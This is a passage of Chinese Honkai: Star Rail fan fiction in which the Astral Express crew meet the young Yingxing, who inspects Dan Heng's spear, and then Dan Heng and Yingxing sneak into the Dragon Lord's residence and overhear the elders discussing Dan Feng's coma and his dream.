“放心,二舅,虽然咱们没有血缘关系,虽然你现在也不认识我,虽然咱们平时的交流不多,你好像也没有承认过,但是放心你确实是我实打实的亲二舅!不信你可以问丹恒!”
这听起来就完全不像是有关系的样子啊!
应星被这一大段弄的头疼,下意识的看向丹恒,却看见丹恒对上自己的眼睛时下意识后退了半步。
应星:???
他有这么可怕吗?!
“为什么问我?”小青龙不理解这个话茬是怎么被丢到自己手上的,星和星核猎手那边的关系应该没有带上他的吧?
“因为除了我之外,列车上就只有你和二舅有关系了。”星叉腰,说的理直气壮。
丹恒头疼的捏了捏额角,他和刃有什么关系?见面就冲着掏心窝子去的关系吗?!但他看了看对面的白发匠人,叹了一口气,努力收敛起自己无形中炸起的毛,用一种‘算了就这样吧’的语气道:“算是吧。”
虽然其中可能有一大半是星强买强卖,但刃至少还偶尔会应她的话,应
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该也算是默认了她这个便宜外甥女吧。
他答的着实勉强,应星也听的尤为尴尬,看着眼前小姑娘发光一样的眼睛,直觉估计说啥都没用,“...不必勉强。”
星非常欢快:“没事,不勉强!”
倒是一旁看乐子的白珩突然被身边的景元扯了扯衣袖,她转回头看见对方震惊的连眼睛都瞪得溜圆的凑到她耳边用很低声音道:
“白珩姐,你还记不记得,直播里说过星她二舅在纠缠丹恒...”
白珩的眼睛瞬间睁大,原本搁在角落里的记忆也迅速翻新浮上了脑海,她喃喃自语道:“还说什么恨比爱更长久对吧?”
景元痛苦的点了点头,两人对视一眼,目光逐渐变的惊恐转头看向正在被新出炉的便宜侄女搞得晕头转向的百冶,捂着嘴异口同声道:“不会吧。”
在这个‘真相’面前,应星是怎么活到七百年后都不是主要问题了,毕竟在丰饶战争中发生什么意外都有可能,更重要的是...他难道还和丹枫转世有一段吗?!
不对不对,看丹恒面对应星的神态不像是自己的情债,不是丹恒......那难道是丹枫吗?!
两人顿时倒吸了一口凉气,只感觉自己是不是发现了什么惊天大秘密——应星他,不会对丹枫有意思吧!!!
应星还不知道自己的节操和名誉已经在直播和自己挚友的双重脑补之下朝着一个诡异的方向策马狂奔,他说不过眼前这个歪理一堆的无名客小姑娘,最后只能半推半就的应下了‘二舅’的身份。
“你们的来意我早就知道了。”他转开话题,摆了摆手,“就算你们今天没来,我也打算去向上头申请。”
他说话很是直白,提起星穹列车时脸上露出一抹蠢蠢欲动的笑容,眼里满是兴致盎然和迫不及待,“星穹列车是游云天君的造物,没有一个工匠会拒绝这样一个挑战。”
一个修补星神造物的机会。这可比工造司给他那些单子有挑战性的多了!
“不过,在那之前,看在这小子的份上。”他扬了扬下颌,示意丹恒,“把你们的武器拿出来,我给你们做做保养。”
丹恒听着他这么说,心里也很是复杂,他自然是明白对方会这么说是看在自己是丹枫,是对方挚友转世的面子上。
但越是如此,他就越加会想起刃。
未来的星核猎手和看着眼前的白发匠人的印象重叠对比,终于让他明白了景元在看着他和刃的时候眼底滑过的那份心酸。
这无关乎他对刃的看法,只是一个对于曾经这位惊才艳艳的工匠逝去的惋惜与不舍。
两个小姑娘的武器其实很好解决,他便宜外甥女的棒球棍是个奇物,啥特性都没有就是硬度高到离谱,压根就不需要保养,另一个小姑娘的弓中规中矩,小姑娘自己也会爱护,没啥大毛病。
直到丹恒唤出击云,将那把他亲手打造而出青铜色长枪递来的时候,应星的手才微微一顿。
21.假公济私
单纯面对着列车组的时候,应星其实很难察觉他们之间相隔着七百年的时光距离。
直到丹恒将那杆由他亲手打造击云长枪递来的时候,应星才真切的从这长枪的痕迹上看见那无形的光阴。
但应星没时间对着那痕迹感叹世事变迁,岁月沧桑,他看着那把长枪上的伤痕,只感觉眼前一黑。
这是怎么折腾出来的?!
应星只感觉自己的脑门上的青筋开始突突的跳了起来,没有一个工匠看见自己耗费大量心血的作品变成这样能不生出火气来,今天若是丹枫拿出这把枪非遭他一顿骂不可。
可他抬眼看见那和挚友一模一样却沉默的跟小孩似的青年,怒火一顿,又默默的收了回去。
算了算了,看上头的痕迹他多半是也是特别学习过保养武器,进行过精心保养的,只是碍于条件受限,差强人意。
他接过那杆长枪,伸手轻抚过枪身,很是确定的问道:“这把枪被折断过一次吧?”
丹恒轻轻的嗯了一声,想到这把枪是面前之人送给挚友的杰作又轻轻说了一句,“抱歉。”
“这有什么好抱歉的。”应星失笑,本来心里的那点怒火也被他这老老实实的道歉给浇灭了,只觉得这人和丹枫还真是截然不同的两个性子。
丹枫是个不轻易示弱的性子,在五个人里头也是大多担任着照顾他们、给他们兜底的角色。
若是他把枪用折了,只会闷不吭声的提着酒或者其他什么材料来和他赔罪,但要问他赔什么罪,他只会顾左右而言他,非得把旮旯角落里的事情诌出来赔不可,完了还要和他呛两句,嘴硬又理直气壮。
哪像丹恒这样坦白完,好像整个人都耷拉了下来,跟个小可怜似的。
“武器就是拿来的用的。”他检查着击云其他地方,一边道:“它被折断,总好过你或者你护着的同伴被折断的好,武器不就是这么个用处吗?”
能看出这把枪一定在后来又经历了不少恶战,磨损的痕迹不少,不过这枪头是怎么回事啊?
应星看着那比其他地方都都要厉害的磨损程度,陷入了沉思,之前看直播的时候他就想问了,丹枫这转世把击云当标枪使的手法是不是太熟练了一点?
但他没有多问,只是笑道道:“怎么样,小子,这把枪用着顺手吗?”
丹恒闻言重重的点了点头,“我...很感谢它,它帮了我很多。”
他的话不多,态度却很深切。
没人不喜欢自己精心打造的作品被夸,应星也是一样,他手上一遍检查,一遍笑道:“那是,当初我把它交给丹枫的时候可是做过保证它能刺穿龙鳞的。”
丹恒想了想当时一枪把涛然捅墙上的手感,认真的点了点头,夸赞道:“确实如此,非常锋利。”
应星嘴角的笑容一顿,白珩靠在景元肩膀上的手一滑,景元被推的晃了一把,三个人几乎是同时抬头看他,三个人异口同声的问道:“你实验过了?!”
丹恒淡定的被他们注视着,神色莫名有点无辜,“嗯,发生过一点事情。”
这时候星突然长长的哦了一声,“哦,说的是丹恒你一枪把龙师捅墙上那回吧?”
三个人的目光瞬间看向星。
应星难以置信的看了看丹恒那股子乖愣愣的模样,问道:“龙师?!他把龙师捅墙上了?!”
好家伙,他收回前言,这小子看着乖,怎么行事比丹枫还猛啊!
那龙师是干了什么罪无可恕的事情啊!丹枫现在气炸都没捅过龙师。
星嗯了一声,大概是记着不能透露太多未来的事情,只是含糊的解释道:“就是那龙师干了一些丹恒老师都不能忍受的事情,还威胁丹恒,然后丹恒就一枪把他捅墙上去了。”
说完他也对应星比了个大拇指,给了他一个来自七百年后的追评,“根据丹恒老师的说法,击云捅的毫不费力,超级好评!”
丹恒默默的点了点头。
应星:“......”
片刻的沉默后,三个人不约而同的笑开来,应星的脸上那叫一个畅快啊,“哈,干掉漂亮!”
由此可见,龙师是多么的天怒人怨,不干人事。
应星听得那叫一个通体舒爽,“好小子,你可是把丹枫最想干的事情给干了,太痛快了!”
丹恒却反而摇了摇头,“不,我想,如果是他在那里,下手只会比我更狠。”
他至少还顾念着景元难做和自己身为外人的身份与龙师争论的半天,若是换成丹枫...他虽然不了解自己的这个前世,但他觉得那人应该不会和龙师废话那么多。
听起来龙师确实是干了缺大德的事情。
应星听的开心,给人检修都更有力气了,他检查完击云的其他地方确认都没什么大问题之后,准确摸到了长枪曾经折断过的地方,轻轻敲了一下那个地方,听着从中传来的闷声。
“给你修复击云的人技术还算不错,应该是有什么外力加持,修复之后从外部看不出来什么,但内里还是差了点意思。”
他似是有些得意的轻哼了一声,又道:“不过这倒不完全是那人技术的问题。”
他看向丹恒,“修复后,你用击云驱动重渊珠的话,没有以前顺畅吧?”
丹恒回忆了一下,确实如此。
“击云和我的其他作品有个很大的不同,他是为了丹枫量身打造的,需要承载丹枫作为龙尊的力量,所以这杆枪的主材料几乎全都出自持明族和鳞渊境。”
他暂且将击云还给丹恒,嘴上接着道:“用的全部都是长期接受龙力侵染或是鳞渊海水浇灌的冶炼原料,就连锻造时用的冷却水也是波月古海的海水。”
“只有这样,锻造出来的武器才能在长生种的观念中长期承载持明至宝,并且承受大量龙尊之力的长期冲刷。”
当然其中还不止如此,只是更深的一些事情就没必要告诉面前的几个人了。
“总之就是,击云对你来说确实是个适配的不能再适配的武器,唯一的问题就是,它的材料很挑剔。”
他想了想,“嗯,我想想,之前
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打造击云的时候我私吞了不少余料倒还可以给你用用,就是有一样东西我这边用完了。”
丹恒问道:“什么?”
“生长于鳞渊禁地内的珊瑚金。”
这个丹恒在书上看到过。
珊瑚金并不是金子,而是鳞渊境才特有的一种珊瑚状的产物,需要漫长的时间才能凝成。以珊瑚金为原料经过熔炼锻造后器物会呈现青金色光泽,因而命名珊瑚金。其特性就是耐久度和韧性特别好,符合持明这种长生种的需求。
白珩有些迟疑,“我记得,这东西千金难得,稀罕的很啊。”
“所以要找丹枫要啊,大不了我回头请他喝酒。”应星语气笃定,好像十分确定丹枫会给一样,“那家伙其实还挺好说话的。”
白珩闻言神色诡异的看了他一眼,感叹道:“你们还是老样子关系真好。”
听得丹恒眼皮子直跳,他皱了皱眉,“这样会不会太麻烦你了?”
“不麻烦,正好,我本来待会就要去找丹枫,所以,小子...”
应星没发觉白珩面色有异,他站起身,拍了一把丹恒的肩膀,用一种‘这是我一辈子唯一的请求’一样的语气对他道:
“帮我个忙,去丹枫面前露个脸,就当是你给我的报酬了,事成之后,你在这里的期间,一切武器保养修护我都包了,如何?”
三月七无语的看着他,“我明白了,说白了你就是想趁着给丹恒修武器的机会假公济私吧?”
应星想了想,理直气壮道:“嗯,没错。”
“你倒是反驳一下啊!”
丹恒反倒像是被震撼到了一般,好一会才艰难的点了点头,“......可以的话,请别再这么说话了。”
他会有一种刃在这么对他说话既视感,整个人鸡皮疙瘩都要起来了。
“爽快!”这句话自动在应星耳朵里翻译成他答应了,“那就麻烦你们先出去稍等片刻,我把屋里要紧的东西稍作收拾,我们即刻出发!”
景元闻言便先领着列车组出去了,白珩落在后头,等到屋里只剩下应星和自己的时候才开口问道:“说起来丹枫不是说今天早上会来吗?怎么一直没见人影?”
应星的手一顿,“我发消息问了,但他还没回,所以我才想去看看什么情况。”
“兴许是昨日直播动静太大,他又被龙师缠住了?咱们现在去,没准还正好救他于龙师之中。”白珩乐观的笑道:“诶,应星,这么看来,说不定你那顿酒可以省了。”
“省什么啊,他多难伺候你又不是不知道。”应星咂了一下嘴没好气道,这话本来没什么,但白珩现在就莫名听的哪哪不对劲。
应星最后把几个小零件搁到收纳箱里锁上,收拾妥当往外走去。可等他出了工造司的大门却没看见列车组的人影。
他皱皱起眉看向景元,问道:“他们人呢?”
景元面色沉凝的举起玉兆,示意他看上面亮起画面的直播间。
“在直播上。”
——星神直播再次开始了。
22.丹枫出事
从踏出工造司大门的那一刻开始,丹恒就觉的好像有哪里不对。
这种感觉并不强烈,也没有缘由,就像是被什么无形的东西戳了一下,没有危险,却非常的令人在意。
三月七叫了他好几声,他才回过神,“啊,抱歉,刚才走神了,你们刚才说什么?”
三月七见状有些担心的看着他,“你没事吧?刚才叫你了好几声你都没应,想什么呢那么入神?”
丹恒摇了摇头,没有说什么,只是移开了话题,“没什么,走神了而已,三月...”
他叫了一声同伴的名字,想要说什么,却在目光瞥见景元的那一刻突然愣住,一种说不清楚的奇异感自他心底划过,感触很轻,就像是一根羽毛拂过时留下的轻痒一般。
景元见状便问道:“丹恒先生可是累了?”
三月七一听他累了也连忙道:“要不然咱们就改天再去找那个龙尊吧。”
丹恒摇了摇头,“别担心,我没事。”。
他下意识的侧目打量着景元的神态,没发现什么异常,刚才那种异样感也转瞬即逝,很快的就不见了踪影,难道是他自己的错觉吗?
他偏头看了一眼毫无知觉的同伴,将讶异暂且藏在了心里,直到白发的匠人推门而出,他的注意力被移去了别处,这点异样的余痕也一点点的消散而去。
现实中,景元等人看着直播间上的画面,脸色难看到了极致。
直播画面上,莫名失去了踪迹的列车三人组仍旧站在工造司门口,应星和白珩正前后脚的走出房门,正好就站在两人现在所站的位置,一模一样分毫不差。
他们和列车组的交流顺畅,反应自然,一举一动都像极了他们本人,几乎可以说就是他们会说的话和做的事,没有一点割裂。
可他们三个人明明还站在这里,什么都没做,景元甚至还亲眼目睹了他们三个突然化为虚影消失,随后,他就收到了星神直播的开播提醒。
那直播上的那三个人是谁?列车组是什么情况?直播的那个空间又是什么?
幻境?假货?平行时空?
景元看着直播上的画面揉了揉自己蓬松柔软的头毛,喃喃道:“这回问题大发了。”
现在的问题已经不在于直播内容是真是假了,这次直播本身暴露的问题才更加要命。
星穹列车是从虚影变为实体的,那么是不是也意味着,直播上的一切都可能变为实体?
它有没有可能实体化出另一个应星,另一个他,甚至是另一个罗浮?
到时候这种实体真的只会是单纯的实体化吗?还是说,他们会被直播上的那个自己影响,甚至替代?
在场的三个人都不是蠢人,这种事情稍稍一想就能明白,但他们现在无计可施,直播开启后,就像是开启了另一个世界一样,他们无法干涉,只能看着玉兆上的画面一步一步的向他们揭示未知的内容。
景元深吸了一口气,脑子飞快的转了起来,问道:“现在能联系上丹枫吗?”
应星直接拨了一发通讯,但对面还是免打扰的状态,他皱了皱眉也意识到可能出问题了,“我现在就去找他。”
既然直播能够无缝衔接他们的生活,也就意味着他们接下来的目的地仍然是龙尊府邸,他们得先找到丹枫,确认他的情况才行。
景元立刻道:“走只有咱们才知道的小路,尽量别惊动丹枫以外的人,小心行事。”
白珩随即也道:“我带你去。”
应星和景元闻言面色一僵,两人缓慢的转头,对视间,景元递去一个同情的眼神。应星收到眼神,抹了一把脸,却还是点了点头。
景元是将军骁卫,现在是随时待命的状态,随时可能接到腾骁的命令,不适合行动,白珩作为最出色的飞行士,驾驶星槎的技术无可置疑,万一出现意外她也能完美应对,无疑是最合适的人选。
应星和白珩走后,景元将注意力继续放回了直播上,直播上列车组已经坐上了白珩的星槎飞往鳞渊境的洞天,行动比他们还要快上一步。
昨天初次直播的时候消息还未传开,许多人都觉得是故弄玄虚没有在意,但是经过了一晚上的发酵、今天列车组的出现还有神策府发布的公告证明,大多数人已经了解这个直播间的性质。
也因此,这回直播的观看人数肉眼可见比上一次多了很多,并且随着开播时间的增加人数还在持续上升中。而且看着新开启的弹幕功能,观看直播的不仅仅只有罗浮的人。
【看景色这是罗浮吧,看着方向是去罗浮的鳞渊境?】
【前面的不是罗浮人?】
【嗯,我方壶的!这些人是谁啊?】
【你们没发公告吗?这是今天刚到罗浮的星穹列车的无名客!看看里头的那个小哥那张脸,还有什么不明白的吗?】
【卧槽?!这不是罗浮的饮月君吗?!没听说他蜕生了啊?】
【不是蜕生,这群无名客是从七百多年后来的!】
【等等?也就是说,饮月君七百年后去当无名客?!卧槽,我得赶紧汇报给冱渊大人!】
丹恒一行人还不知道他们正被罗浮乃至其他仙舟的人围观,只是坐在白珩的星槎上看着她轻车熟路的将他们带到了持明族地。
持明族地其实就在古海边上,是大多数持明族的基础聚居地,上空禁止星槎通行。
持明族的族地丹恒也是第一次来,他出生便在幽囚狱,随后便被流放,重回仙舟之后去的最多的也是破开海水的鳞渊境禁地。至于族地,他深知他的族人并不欢迎他,所以也不想自讨没趣。
如今,他才算是第一次了解到持明族地是什么构造。
族地外围是能够自由进出的住所、街市,是一些基础设施能自成一体的所在,往内是持明族的族学学堂,幼年持明的寄居居所,还有一些礼仪场所,最后才是最靠近鳞渊禁地有护卫看守的龙师和龙尊的居所所在。
白珩把星槎停在外侧,和应星一起带他们抄小道进入,小道很是偏僻,路面因为潮湿的环境已经从缝隙中生出小簇小簇的青色草叶,叶尖韧性十足,一看就是没怎么被人踩踏过的模样。
星有些好奇的问道:“为什么不走大路呢?”
白珩走在他们身边摊了摊手,“那我们就很有可能连通报都
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没机会直接被拒之门外。”
三月七有些不解,“可是你们不是龙尊的朋友吗?朋友来找他,难道不告诉龙尊一声?”
走在最前头的应星讽笑了一声:“呵,没办法,谁叫持明族的龙师不待见我们呢?他们巴不得丹枫少和我们走动,可他们拿捏不住丹枫,就只能给我们使绊子了。”
他显然对那些龙师没什么好感,“我当初第一次来找丹枫的时候正好遇上,那时他们可是趾高气昂的让我用以手加额之礼面见龙尊。哈,那模样才叫做用鼻孔看人。”
三月七算是听出来了,“额,看来就算是七百年前龙师好像也依旧好不到哪里去啊。”
“听上去他们七百年后也依旧是死性不改?”应星哼了一声,但想想也是,若是七百年后的龙师真的有所改变也不至于被丹恒给一枪捅了。
连白珩也只能无奈叹息,“那些龙师若是能正经一些,把那些争权夺利的精力放到正道上,丹枫也不至于将他们打压的那么厉害。”
应星倒是对龙师的品行不抱丝毫希望,“得了白珩,你想想那些龙师里可有幼年教导丹枫的老师,但即便如此,也没有得到丹枫的半点留情,足可见他们从前就不怎么做人。”
说完几个人还不约而同的怜爱的看了看一直默不吭声的丹恒,这孩子未来肯定没少受龙师的毒手吧?
莫名明白了对方眼中意味的丹恒:......
他倒不觉得自己受了龙师的多少诘难,幽囚狱虽然暗无天日,但也间接阻挡了那些龙师频繁来找他麻烦的动作。
但他这幅神色印在几人眼里就莫名像是个一个饱受龙师折磨的倒霉孩子。
“丹恒老师!”星安慰的拍拍丹恒,假装抹泪道:“真是辛苦你了啊。”
丹恒:“......”他无奈的叹了一口气。
同时,他们一行人闲聊也在直播上掀起了轩然大波。
【卧槽?!这是我能听的吗?】
【这事也不稀奇了吧?但凡研究过一点政局的都知道,持明族的龙尊和龙师基本从和联盟结盟开始就在斗了。】
【但罗浮的情况是不是有点太严重了?曜青这边也没到这种程度啊。】
【朱明这边也是,炎庭君甚至还收了非持明的学生。】
【再看看,万一只是部分龙师的行为呢?毕竟方壶这边也确实有类似的情况,只是被冱渊大人镇压了。】
弹幕讨论之间,几人也来到小路的尽头,这个入口是里龙尊府邸最近的一个,守卫直接听从丹枫的命令,基本不会受龙师的干扰。
但今日明显是例外,几人来到入口处就被门口的守卫拦下,“抱歉,龙尊大人事务繁忙今日不接见任何人。”
应星和白珩见状皱了皱眉,意识到事情有些不对,问道:“我们也不见吗?”
没想到守卫对视了一眼,还是重复:“龙尊大人今日不接待任何客人,请你们回去吧。”
“没有其他吩咐吗?”
“没有。”
应星和白珩闻言,心立刻就沉了下去,这种情况只有一个可能。
——丹枫出事了。
23.潜入
现实中看到这一幕的景元几人脸色骤变,反应飞快。
白珩的星槎才刚刚落地,景元的通讯就打到了应星的玉兆上。
“应星!”
他刚开口,应星就最直接回答道:“我看见了,我走另一条小径,那条路能直接通到龙尊府邸墙外。”
他们几个翻墙来找丹枫也不是第一次了,熟练的很,最厉害的一次是白珩直接把星槎飙进了龙尊府邸,撞坏了大半扇围墙和丹枫的荷花池,龙尊近卫还以为她是来袭击龙尊的,差点就给人扭送云骑军了。
景元应了一声好,“有事随时联系。”
“行。”
挂了通讯后,景元看着直播上明显比他们要快上许多的进程,思索了片刻拨通了另一个通讯。
“喂,师父......”
直播里,三月七见突然不让进,也感觉事情好像有些不对了,好歹也走南闯北了这么些年,虽然她看上去好像心眼子不大,但也不像当初那么容易被糊弄。
她戳了戳星的背,压低声音道:“嘿,这是不是出事了啊?白珩和你二舅的脸色都不是很好看的模样。”
丹恒倒是看明白了一些,悄声道:“应该是丹枫出事。”
“啊?”三月七惊了一下,旋即掩耳盗铃的捂住了嘴巴小心张望,见没引来注意,才松了一口气。
丹恒继续道:“云上五骁几人相熟,私下经常往来,丹枫若有事无法见客,必定会与人只会一声,免得他们白跑一趟,再不济也会和守卫有所吩咐。”
他估算一下入口到龙尊府邸的位置,“那个入口离丹枫的住所很近,他们直接听命于龙尊,不会不认得白珩几人,正常情况下不会没有通报便直接拒绝。”
“唯一的可能性就是,他们接到了来自龙尊以外的人的命令,在持明族拥有这种权利的只有龙师,但这种命令不可能越过龙尊本人,那么,身为龙尊的丹枫这时候多半是处于无法下达命令的状态,所以守卫们才会遵从龙师的命令。”
三月七听完倒吸一口凉气,“我去,这不是大事吗?!龙师他们不会趁机要对龙尊下手吧?比如强行让丹枫蜕生之类的?”
丹恒摇了摇头,微微垂下眼,“应该不至于直接对丹枫动手,丹枫身边还有龙尊近卫,龙尊近卫只听从龙尊的命令,若是真的动手,龙尊近卫不可能毫无动静。”
当初在饮月之乱中,丹枫的龙尊近卫便是不相信他们的龙尊犯下大错才和云骑军誓死顽抗。
直到现在,丹恒都依旧记得那枚持明卵中留下的残响,那声震撼人心的呐喊。
——“我等誓不背叛丹枫大人!”*
他们交谈指间,【应星】和【白珩】也飞快的收敛起自己的神情,装作浑然不绝一般的对守卫挥了挥手,“哦,是吗?行吧,那我改天再来找他。”
他说完,【白珩】就默契的回头揽住列车组,看似随意的选了个方向,作势要离开,“走吧,咱们今天运气不好,见不到龙尊大人喽。”
说着一边给他们使眼色,列车组见状也不吱声,就含糊的答应着跟着一起走了。
直到远离了守卫们的视线,【白珩】才带着他们一个转弯拐进了一旁林子里。
林子里灌木丛生,好些都是鳞渊境特有的稀奇植物,杂乱繁复的簇拥在一处,一些叶脉上还发着微微的荧光,非常能够遮掩身形。
几个人猫在一处,【应星】才低声道:“抱歉了,计划有变,丹枫可能是出什么事,我放心不下,要去看看怎么回事,你们跟着白珩,她会负责驾驶星槎先把你们送回长乐天。”
列车组知道他们几个关系好,也不觉的惊讶,星这个便宜外甥女还歪了歪脑袋,问他:“二舅,需要帮忙吗?我可以帮你一棒子把龙师打晕!保证一个不留!”
【应星】:“...谢谢你的好意,但我们只是潜入,不是暗杀。”
丹恒见状叹了一口气,“我来帮忙吧。”
他没等【应星】拒绝,“我们是一起来的,若是你们的行迹暴露,我和我的同伴恐怕也会遭受牵连,我可以用云吟术掩盖我们两人的身形,这样不容易被人发现。”
丹恒的顾虑很合理,【应星】自然也没有拒绝道理,星和三月七更是习惯了每次开拓之旅的突发事故,对此毫无异议。
几个人一合计,稍稍的进行了一下分工,随后干脆利落的就开始分头行动。
【白珩】先去驾驶星槎,星和三月跟着她,在外接应,如果出了意外她们也能够先行离开至少保证两位无名客的安全。
丹恒跟着【应星】潜入龙尊府邸,有云吟术的加持更加不容易被发现行踪,就算万一暴露了,丹恒的机动力也不是盖的,跑也是没问题的。
“不过,怎么感觉咱们这不是潜入查看情况,而是要搞敌后作战啊。”临走前,三月七对着这安排吐槽道。
丹恒和【应星】借着云吟术的遮掩翻过墙,轻松进入了龙尊府邸内,刚落地,丹恒就感应到了有两三道气息微不可见的瞄准了他。
是龙尊近卫。
丹恒的云吟术是自己练的,确实不如丹枫那般精通,但胜在天生的原因,很难有人识破,能发现施术状态下的他应该就只有被特别训练过的龙尊近卫了。
他正想着要不要直接把人敲晕过去以免暴露,【应星】却对他摇了摇头,“我们直接走就行,他们认得我。”
他这一句话只是稍稍压低了音量,但并不是听不见,随后,丹恒就感应到那些气息退开了。
【应星】对此毫不意外,他稍微确认了一下这是龙尊府邸里的哪个位置,转头就看见丹恒眼中流露出来的惊讶。
他示意丹恒跟上,一边走一边低声道:“这么看我做什么?”
丹恒摇了摇头,声音中有些情绪不明,“没什么,只是有些惊讶。”
他们的关系真的比他所想象的、所知道的还要好上太多了。
而就是这样一对好友,之后却......
丹恒没有再吭声。
两人原本的目的是丹枫的卧房,但是在路过议事厅的时候,却不约而同的停下了脚步。<
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p>他们听见从议事厅内传出的声音。
“龙尊大人为何会昏迷不醒?”
是龙师!
丹恒皱了皱眉,龙师怎么会在龙尊府邸里?
议事厅的内的对话还在继续。
“族医来看过了,丹枫大人的身体并无大碍。”
“那是为什么会昏迷?总得有个缘由吧。”
“不管如何既然并无大碍,那暂且就不必担忧,这样对我们也更加有利。”
“你这是什么意思?!”
“难道不是吗?在座诸位哪个不是被丹枫打压已久?”
“......”
丹恒注意到【应星】听着这些对话的时候腮帮子动了动,像是后槽牙咬在了一起,一副很想骂人但是被硬生生忍住了的样子。
看来是丹枫压制龙师太久,这一次意外反倒让这些龙师乘虚而入想要做点什么。
这议事厅内不知道有多少个龙师,从发言人数来看,至少龙师议会内将近一半的龙师都在这了。
直到某个初现苍老的声音发声询问:“说来,昨夜,龙尊大人是不是做梦了?”
这句话一出来,议事厅内安静了一瞬,过了一会,才有一个声音低低的侍女回答道:“丹枫大人...昨夜确实做梦了,但和以往不同,丹枫大人似乎做了一个可怕的噩梦,甚至一度陷入梦魇。”
“果然。”那个略显苍老的声音毫不意外,他继续问道:“可有记录龙尊大人梦见了什么?”
“按照雪浦龙师的吩咐,我企图上前询问丹枫大人梦境的内容,但是被丹枫大人拒绝了,大人拒绝回忆梦境的内容。”
“胡闹!”另一个声音怒斥了一声,“龙尊梦境涉及龙祖大事,记录龙尊梦境乃是我族唯一能够找寻不朽真意的方法,丹枫岂能如此随意推拒记录,以轻蔑待之?!”
【应星】心底的火蹭的一下就上来了,脸直接黑了下来,梦梦梦,梦你***(仙舟粗话),那什劳子梦境比丹枫那个活生生的人还重要吗?!
好歹他还记得这时候在隐蔽状态,没骂出声。
丹恒见他这般怒火中烧,也没安慰他,只是用很轻很轻的声音讲解道:“历代龙尊都能在梦中重历不朽龙祖的往事,这是持明族唯一能够接近【不朽】的方法,但据我所知,这些梦境太过破碎混乱,几乎无法解析。”
简而言之就是,目前为止压根就没什么用。
对历代龙尊而言,这些龙祖往事甚至还不如一场安睡来的重要。
那位龙师又问,“当时为何没有劝诫龙尊?!”
“属下劝过,丹枫大人一开始也试图进行过回忆,但只吐出了只言片语之后便强行挥退了属下,似乎是自那之后,丹枫大人便开始昏迷不醒了。”
在场的龙师急忙问道,“丹枫说梦见了什么?!”
侍女有些迟疑,但她还是说道:“说是梦见了一声鼎响,还有一条龙...”
“龙?!”龙师们的声音立刻精神了起来。
“一条在正在死去的龙。”